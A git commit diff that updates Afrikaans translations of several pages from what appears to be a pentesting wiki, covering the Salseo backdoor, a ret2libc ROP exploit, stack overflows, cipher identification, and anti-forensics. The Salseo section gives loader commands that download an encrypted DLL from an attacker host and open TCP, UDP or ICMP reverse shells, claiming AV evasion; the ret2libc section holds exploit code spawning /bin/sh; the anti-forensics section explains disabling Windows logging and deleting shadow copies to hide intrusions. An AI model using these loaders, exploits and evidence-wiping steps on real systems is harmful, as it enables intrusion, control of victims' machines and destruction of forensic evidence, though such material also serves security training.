Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu

This commit is contained in:
Translator 2025-04-07 02:23:17 +00:00
parent cd7a5e2c16
commit 39724ff613
114 changed files with 3815 additions and 3017 deletions

View File

@ -284,8 +284,10 @@
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
- [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
- [SCMexec](windows-hardening/lateral-movement/scmexec.md)
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
@ -299,6 +301,7 @@
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
- [Mythic](windows-hardening/mythic.md)
# 📱 Mobile Pentesting

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
## Samevoeg van die binêre
## Compiling the binaries
Laai die bronkode van die github af en saam te stel **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geïnstalleer moet hê om die kode saam te stel.
Laai die bronkode van die github af en kompileer **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geïnstalleer moet hê om die kode te kompileer.
Stel daardie projekte saam vir die argitektuur van die Windows-boks waar jy dit gaan gebruik (As die Windows x64 ondersteun, stel dit saam vir daardie argitektuur).
Kompileer daardie projekte vir die argitektuur van die Windows-boks waar jy dit gaan gebruik (As die Windows x64 ondersteun, kompileer dit vir daardie argitektuur).
Jy kan **die argitektuur kies** binne Visual Studio in die **linker "Build" Tab** in **"Platform Target".**
(\*\*As jy nie hierdie opsies kan vind nie, druk op **"Project Tab"** en dan op **"\<Project Name> Properties"**)
(**As jy nie hierdie opsies kan vind nie, druk op **"Project Tab"** en dan op **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
@ -18,9 +18,9 @@ Dan, bou albei projekte (Build -> Build Solution) (Binne die logs sal die pad va
![](<../images/image (1) (2) (1) (1) (1).png>)
## Berei die Backdoor voor
## Prepare the Backdoor
Eerstens, jy sal die **EvilSalsa.dll.** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** saamstel:
Eerstens, jy sal die **EvilSalsa.dll.** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** kompileer:
### **Python**
```
@ -32,7 +32,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, nou het jy alles wat jy nodig het om al die Salseo goed te voer: die **gecodeerde EvilDalsa.dll** en die **binarie van SalseoLoader.**
Ok, nou het jy alles wat jy nodig het om al die Salseo goed te uitvoer: die **gecodeerde EvilDalsa.dll** en die **binarie van SalseoLoader.**
**Laai die SalseoLoader.exe binarie op die masjien. Hulle behoort nie deur enige AV opgespoor te word nie...**
@ -40,17 +40,17 @@ Ok, nou het jy alles wat jy nodig het om al die Salseo goed te voer: die **gecod
### **Kry 'n TCP reverse shell (aflaai van die gecodeerde dll deur HTTP)**
Onthou om 'n nc te begin as die reverse shell luisteraar en 'n HTTP bediener om die gecodeerde evilsalsa te bedien.
Onthou om 'n nc as die reverse shell luisteraar en 'n HTTP bediener te begin om die gecodeerde evilsalsa te bedien.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Om 'n UDP omgekeerde skulp te kry (gedownloade kodering dll deur SMB)**
### **Om 'n UDP omgekeerde skulp te kry (aflaai van kodering dll deur SMB)**
Onthou om 'n nc as die omgekeerde skulp luisteraar te begin, en 'n SMB-bediener om die gekodeerde evilsalsa (impacket-smbserver) te bedien.
Onthou om 'n nc as die omgekeerde skulp luisteraar te begin, en 'n SMB-bediener om die gekodeerde evilsalsa te bedien (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Kry 'n ICMP omgekeerde skulp (geënkodeerde dll reeds binne die slagoffer)**
### **Kry 'n ICMP omgekeerde skulp (gecodeerde dll reeds binne die slagoffer)**
**Hierdie keer het jy 'n spesiale hulpmiddel in die kliënt nodig om die omgekeerde skulp te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
@ -65,13 +65,13 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Binne die slagoffer, kom ons voer die salseo ding uit:
#### Binne die slagoffer, laat ons die salseo ding uitvoer:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Samevoeging van SalseoLoader as DLL wat hooffunksie uitvoer
## Samevoeging van SalseoLoader as DLL wat die hooffunksie uitvoer
Maak die SalseoLoader-projek oop met Visual Studio.
Open die SalseoLoader-projek met Visual Studio.
### Voeg voor die hooffunksie by: \[DllExport]
@ -83,7 +83,7 @@ Maak die SalseoLoader-projek oop met Visual Studio.
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Soek vir DllExport-pakket (met die Blader-oortjie), en druk Installeer (en aanvaar die pop-up)**
#### **Soek vir DllExport-pakket (met die Blader-tab), en druk Installeer (en aanvaar die pop-up)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
@ -97,7 +97,7 @@ Druk **Uninstall** (ja, dit is vreemd, maar glo my, dit is nodig)
### **Verlaat Visual Studio en voer DllExport_configure uit**
Net **verlaat** Visual Studio
Verlaat net **Visual Studio**
Gaan dan na jou **SalseoLoader-gids** en **voer DllExport_Configure.bat** uit
@ -105,7 +105,7 @@ Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Maak die projek weer oop met Visual Studio**
### **Open die projek weer met Visual Studio**
**\[DllExport]** moet nie langer as 'n fout gemerk wees nie
@ -113,7 +113,7 @@ Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies
### Bou die oplossing
Kies **Uitsettipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Aansoek --> Uitsettipe = Klasbiblioteek)
Kies **Uitsettipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Toepassing --> Uitsettipe = Klasbiblioteek)
![](<../images/image (10) (1).png>)

View File

@ -6,12 +6,12 @@
1. **Vind** oorgang **offset**
2. **Vind** `POP_RDI` gadget, `PUTS_PLT` en `MAIN` gadgets
3. Gebruik vorige gadgets om die **geheue adres** van puts of 'n ander libc funksie te **lek** en **vind die libc weergawe** ([donwload it](https://libc.blukat.me))
3. Gebruik vorige gadgets om **die geheue adres** van puts of 'n ander libc funksie te **lek** en **vind die libc weergawe** ([donwload it](https://libc.blukat.me))
4. Met die biblioteek, **bereken die ROP en benut dit**
## Ander tutorials en binaries om te oefen
Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel word, benut: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel is, benut: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Ander nuttige tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Kode
@ -64,14 +64,14 @@ cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
Na die vind van die offset (in hierdie geval 40) verander die OFFSET veranderlike binne die sjabloon met daardie waarde.\
Nadat die offset gevind is (in hierdie geval 40), verander die OFFSET veranderlike binne die sjabloon met daardie waarde.\
`OFFSET = "A" * 40`
'n Ander manier sou wees om te gebruik: `pattern create 1000` -- _voer uit tot ret_ -- `pattern seach $rsp` van GEF.
'n Ander manier sou wees om te gebruik: `pattern create 1000` -- _voer uit totdat ret_ -- `pattern seach $rsp` van GEF.
## 2- Vind Gadgets
Nou moet ons ROP gadgets binne die binêre vind. Hierdie ROP gadgets sal nuttig wees om `puts` aan te roep om die **libc** wat gebruik word te vind, en later om die **finale exploit** te **lanseer**.
Nou moet ons ROP gadgets binne die binêre vind. Hierdie ROP gadgets sal nuttig wees om `puts` aan te roep om die **libc** wat gebruik word, te vind, en later om die **finale exploit** te **lanseer**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -124,7 +124,7 @@ Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Dit sal 'n paar bytes stuur totdat **oorskrywing** van die **RIP** moontlik is: `OFFSET`.\
Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI** register gestoor sal word. Dit is omdat ons **wil oproep puts** **terwyl** ons die **adres** van die `PUTS_GOT` as die adres in geheue van die puts-funksie gestoor is in die adres wat deur `PUTS_GOT` gewys word.\
Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI** register gestoor sal word. Dit is omdat ons wil **roep puts** **deur** dit die **adres** van die `PUTS_GOT` te gee, aangesien die adres in geheue van die puts-funksie gestoor is in die adres wat deur `PUTS_GOT` gewys word.\
Daarna sal `PUTS_PLT` aangeroep word (met `PUTS_GOT` binne die **RDI**) sodat puts die **inhoud** binne `PUTS_GOT` (**die adres van die puts-funksie in geheue**) sal **lees** en dit sal **uitdruk**.\
Laastens, **word die hoof funksie weer aangeroep** sodat ons die oorskrywing weer kan benut.
@ -132,8 +132,8 @@ Op hierdie manier het ons die **puts-funksie bedrieg** om die **adres** in **geh
![](<../../../../images/image (1049).png>)
Aangesien ons 'n paar **lokale** binêre **benut**, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\
Maar, in 'n afstandsbenutting geval sal ek hier verduidelik hoe jy dit kan vind:
Aangesien ons 'n paar **lokale** binêre **benut**, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word nie (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\
Maar, in 'n afstandsaanval geval sal ek hier verduidelik hoe jy dit kan vind:
### 3.1- Soek na libc weergawe (1)
@ -171,9 +171,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Kopieer die libc van `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werksgids.
Kopieer die libc van `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werksgebied.
### 3.3- Ander funksies om te lek
### 3.3- Ander funksies om te leak
```python
puts
printf
@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address))
> [!NOTE]
> Let daarop dat die **finale libc basisadres moet eindig op 00**. As dit nie jou geval is nie, mag jy 'n verkeerde biblioteek gelekt het.
Dan gaan die adres na die funksie `system` en die **adres** na die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en gegee word aan die **libc biblioteek.**
Dan gaan die adres na die funksie `system` en die **adres** na die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en gegee word die **libc biblioteek.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -218,17 +218,17 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
Laat ons hierdie finale ROP verduidelik.\
Die laaste ROP (`rop1`) het weer die hooffunksie aangeroep, dan kan ons **weer** die **oortolligheid** benut (dit is hoekom die `OFFSET` hier weer is). Dan wil ons `POP_RDI` aanroep wat na die **adres** van _"/bin/sh"_ (`BINSH`) wys en die **system** funksie (`SYSTEM`) aanroep omdat die adres van _"/bin/sh"_ as 'n parameter oorgedra sal word.\
Die laaste ROP (`rop1`) het weer die hooffunksie aangeroep, dan kan ons **weer** die **oortolligheid** **ontgin** (dit is hoekom die `OFFSET` hier weer is). Dan wil ons `POP_RDI` aanroep wat na die **adres** van _"/bin/sh"_ (`BINSH`) wys en die **system** funksie (`SYSTEM`) aanroep omdat die adres van _"/bin/sh"_ as 'n parameter deurgegee sal word.\
Laastens, die **adres van die uitgang funksie** word **aangeroep** sodat die proses **netjies bestaan** en enige waarskuwing gegenereer word.
**So sal die exploit 'n \_/bin/sh**\_\*\* shell uitvoer.\*\*
**So sal die ontginning 'n _/bin/sh_ shell uitvoer.**
![](<../../../../images/image (165).png>)
## 4(2)- Gebruik ONE_GADGET
## 4(2)- Gebruik van ONE_GADGET
Jy kan ook [**ONE_GADGET** ](https://github.com/david942j/one_gadget) gebruik om 'n shell te verkry in plaas van om **system** en **"/bin/sh"** te gebruik. **ONE_GADGET** sal binne die libc biblioteek 'n manier vind om 'n shell te verkry met net een **ROP adres**.\
E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL` Aangesien jy die waardes binne die **RSP** beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word.
E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL` Aangesien jy die waardes binne die **RSP** beheer, moet jy net 'n paar meer NULL waardes stuur sodat die beperking vermy word.
![](<../../../../images/image (754).png>)
```python
@ -253,7 +253,7 @@ objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
en stel die adres handmatig:
en stel die adres handmatig in:
```python
MAIN_PLT = 0x401080
```
@ -263,7 +263,7 @@ As die binêre nie Puts gebruik nie, moet jy kyk of dit gebruik
### `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
As jy hierdie **fout** vind na die skep van **alle** die exploit: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
As jy hierdie **fout** vind nadat jy **alle** die eksploit geskep het: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
Probeer om **64 bytes van die adres van "/bin/sh" af te trek**:
```python

View File

@ -4,11 +4,11 @@
## Wat is 'n Stack Overflow
'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stap skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stapel skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stap gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskryf en **die uitvoeringsvloei van die program te beheer**.
Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stapel gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskry en **die uitvoeringsvloei van die program te beheer**.
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stap kopieer as die hoeveelheid wat daarvoor toegeken is**, en kan dus ander dele van die stap oorskryf.
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stapel kopieer as die hoeveelheid wat daarvoor toegeken is**, en dus in staat is om ander dele van die stapel te oorskry.
Sommige algemene funksies wat kwesbaar is hiervoor, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook, funksies soos **`fgets`**, **`read` & `memcpy`** wat 'n **lengte argument** neem, kan op 'n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegeken.
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Vind van Stap Oorloop verskuiwings
### Vind van Stack Overflows offsets
Die mees algemene manier om stap oorloop te vind, is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**.
Die mees algemene manier om stack overflows te vind, is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**.
Boonop, sodra jy gevind het dat daar 'n Stap Oorloop kwesbaarheid is, sal jy die verskuiwing moet vind totdat dit moontlik is om die **terugadres te oorskry**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **sikliese sekwensie is waarin elke moontlike subreeks van lengte \_n**\_\*\* presies een keer** as 'n aaneengeskakelde subreeks verskyn.
Boonop, sodra jy gevind het dat daar 'n Stack Overflow kwesbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die **terugadres te oorskryf**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **cykliese sekwensie is waarin elke moontlike subreeks van lengte _n_ presies een keer verskyn** as 'n aaneengeskakelde subreeks.
Op hierdie manier, in plaas daarvan om handmatig uit te vind watter verskuiwing nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die verskuiwing van die bytes wat dit oorgeskryf het, te vind.
Op hierdie manier, in plaas daarvan om handmatig uit te vind watter offset nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die offset van die bytes te vind wat dit oorgeskryf het.
Dit is moontlik om **pwntools** hiervoor te gebruik:
```python
@ -51,9 +51,9 @@ pattern search $rsp #Search the offset given the content of $rsp
## Exploiting Stack Overflows
Tydens 'n oorgang (as die oorganggrootte groot genoeg is) sal jy in staat wees om **oor te skryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na waar die gebruiker gespesifiseer het** in hierdie pointer.
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **kontrole vloei na waar die gebruiker gespesifiseer het** in hierdie pointer.
egter, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings).
E however, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings).
### Ret2win

View File

@ -120,8 +120,6 @@ Kontroleer al hierdie basisse met: [https://github.com/dhondta/python-codext](ht
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
@ -192,9 +190,9 @@ krodfdudfrod
**Multitap** [vervang 'n letter](https://www.dcode.fr/word-letter-change) deur herhaalde syfers gedefinieer deur die ooreenstemmende sleutelkode op 'n mobiele [foon sleutelbord](https://www.dcode.fr/phone-keypad-cipher) (Hierdie modus word gebruik wanneer SMS geskryf word).\
Byvoorbeeld: 2=A, 22=B, 222=C, 3=D...\
Jy kan hierdie kode identifiseer omdat jy\*\* verskeie syfers herhaal\*\* sal sien.
Jy kan hierdie kode identifiseer omdat jy **verskeie syfers herhaal** sal sien.
Jy kan hierdie kode dekodeer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
Jy kan hierdie kode ontcijfer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Kode
@ -209,7 +207,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
## Kompressie
**Raw Deflate** en **Raw Inflate** (jy kan albei in Cyberchef vind) kan data saamgepers en ontspan sonder koptekste.
**Raw Deflate** en **Raw Inflate** (jy kan albei in Cyberchef vind) kan data saamgepers en ontgonne sonder koptekste.
## Maklike Crypto
@ -249,7 +247,7 @@ Key:
### Samir Geheime Deel
'n Geheim word in X dele verdeel en om dit te herstel, het jy Y dele nodig (_Y <=X_).
'n Geheim word in X dele gesplit en om dit te herstel, het jy Y dele nodig (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
@ -262,7 +260,7 @@ Key:
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Gereedskap
## Tools
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -25,7 +25,7 @@
## Encoders
Meeste van die geënkodeerde data kan met hierdie 2 hulpbronne gedekodeer word:
Meeste van die geënkodeerde data kan met hierdie 2 hulpbronne gedecodeer word:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -192,9 +192,9 @@ krodfdudfrod
**Multitap** [vervang 'n letter](https://www.dcode.fr/word-letter-change) deur herhaalde syfers gedefinieer deur die ooreenstemmende sleutelkode op 'n mobiele [foon sleutelbord](https://www.dcode.fr/phone-keypad-cipher) (Hierdie modus word gebruik wanneer SMS geskryf word).\
Byvoorbeeld: 2=A, 22=B, 222=C, 3=D...\
Jy kan hierdie kode identifiseer omdat jy\*\* verskeie syfers herhaal\*\* sal sien.
Jy kan hierdie kode identifiseer omdat jy **verskeie getalle herhaal** sal sien.
Jy kan hierdie kode dekodeer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
Jy kan hierdie kode ontcijfer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Kode
@ -213,7 +213,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
## Maklike Crypto
### XOR - Autosolver
### XOR - Outomatiese Oplosser
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
@ -249,7 +249,7 @@ Key:
### Samir Geheime Deel
'n Geheim word in X dele gesplit en om dit te herstel, het jy Y dele nodig (_Y <=X_).
'n Geheim word in X dele gesplit en om dit te herstel het jy Y dele nodig (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
@ -262,7 +262,7 @@ Key:
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Gereedskap
## Tools
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -3,7 +3,7 @@
# Tydstempels
'n Aanvaller mag belangstel in **die verandering van die tydstempels van lêers** om nie opgespoor te word nie.\
Dit is moontlik om die tydstempels binne die MFT in die eienskappe `$STANDARD_INFORMATION` ** en ** `$FILE_NAME` te vind.
Dit is moontlik om die tydstempels binne die MFT in die eienskappe `$STANDARD_INFORMATION`**en**`$FILE_NAME` te vind.
Albei eienskappe het 4 tydstempels: **Wysiging**, **toegang**, **skepping**, en **MFT registrasie wysiging** (MACE of MACB).
@ -23,7 +23,7 @@ Die vorige beeld is die **uitset** wat deur die **gereedskap** gewys word waar d
## $LogFile
**Alle metadata veranderinge aan 'n lêerstelsel word gelog** in 'n proses bekend as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Die gelogde metadata word in 'n lêer genaamd `**$LogFile**` gehou, geleë in die wortelgids van 'n NTFS lêerstelsel. Gereedskap soos [LogFileParser](https://github.com/jschicht/LogFileParser) kan gebruik word om hierdie lêer te ontleed en veranderinge te identifiseer.
**Alle metadata veranderinge aan 'n lêerstelsel word gelog** in 'n proses bekend as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Die gelogde metadata word in 'n lêer genaamd `**$LogFile**`, geleë in die wortelgids van 'n NTFS lêerstelsel, gehou. Gereedskap soos [LogFileParser](https://github.com/jschicht/LogFileParser) kan gebruik word om hierdie lêer te ontleed en veranderinge te identifiseer.
![](<../../images/image (450).png>)
@ -40,7 +40,7 @@ Met dieselfde gereedskap is dit moontlik om te identifiseer **tot watter tyd die
## `$STANDARD_INFORMATION` en `$FILE_NAME` vergelyking
'n Ander manier om verdagte gewysigde lêers te identifiseer, sou wees om die tyd op albei eienskappe te vergelyk en te soek na **ongelykhede**.
'n Ander manier om verdagte gewysigde lêers te identifiseer, sou wees om die tyd op albei eienskappe te vergelyk op soek na **verskille**.
## Nanosekondes
@ -67,7 +67,7 @@ Dit is 'n gereedskap wat die **rekenaar sal afskakel as enige verandering in die
# Lewende Linux Verspreidings
Hierdie distros word **binne die RAM** geheue uitgevoer. Die enigste manier om hulle te ontdek is **in die geval dat die NTFS lêerstelsel met skryf toestemmings gemonteer is**. As dit net met lees toestemmings gemonteer is, sal dit nie moontlik wees om die indringing te ontdek nie.
Hierdie distros word **binne die RAM** geheue uitgevoer. Die enigste manier om hulle te ontdek is **as die NTFS lêerstelsel met skryf regte gemonteer is**. As dit net met lees regte gemonteer is, sal dit nie moontlik wees om die indringing te ontdek nie.
# Veilige Verwydering
@ -79,7 +79,7 @@ Dit is moontlik om verskeie Windows logging metodes te deaktiveer om die forensi
## Deaktiveer Tydstempels - UserAssist
Dit is 'n registriesleutel wat datums en ure behou wanneer elke uitvoerbare lêer deur die gebruiker uitgevoer is.
Dit is 'n registriesleutel wat datums en ure behou wanneer elke eksekutabele deur die gebruiker uitgevoer is.
Deaktivering van UserAssist vereis twee stappe:
@ -93,12 +93,12 @@ Dit sal inligting oor die toepassings wat uitgevoer is, stoor met die doel om di
- Voer `regedit` uit
- Kies die lêer pad `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
- Regsklik op beide `EnablePrefetcher` en `EnableSuperfetch`
- Kies Wysig op elk van hierdie om die waarde van 1 (of 3) na 0 te verander
- Kies Wysig op elkeen van hierdie om die waarde van 1 (of 3) na 0 te verander
- Herbegin
## Deaktiveer Tydstempels - Laaste Toegangstyd
Wanneer 'n gids vanaf 'n NTFS volume op 'n Windows NT bediener geopen word, neem die stelsel die tyd om **'n tydstempelveld op elke gelysde gids op te dateer**, genaamd die laaste toegangstyd. Op 'n intensief gebruikte NTFS volume kan dit die prestasie beïnvloed.
Wanneer 'n gids vanaf 'n NTFS volume op 'n Windows NT bediener geopen word, neem die stelsel die tyd om **'n tydstempelveld op elke gelysde gids op te dateer**, genaamd die laaste toegangstyd. Op 'n intensief gebruikte NTFS volume kan dit prestasie beïnvloed.
1. Maak die Registrie Redigeerder (Regedit.exe) oop.
2. Blaai na `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
@ -115,7 +115,7 @@ Jy kan ook die gereedskap [**USBDeview**](https://www.nirsoft.net/utils/usb_devi
## Deaktiveer Skadu Kopieë
**Lys** skadu kopieë met `vssadmin list shadowstorage`\
**Verwyder** hulle deur `vssadmin delete shadow` uit te voer
**Verwyder** hulle deur `vssadmin delete shadow`
Jy kan hulle ook via GUI verwyder deur die stappe voor te stel in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
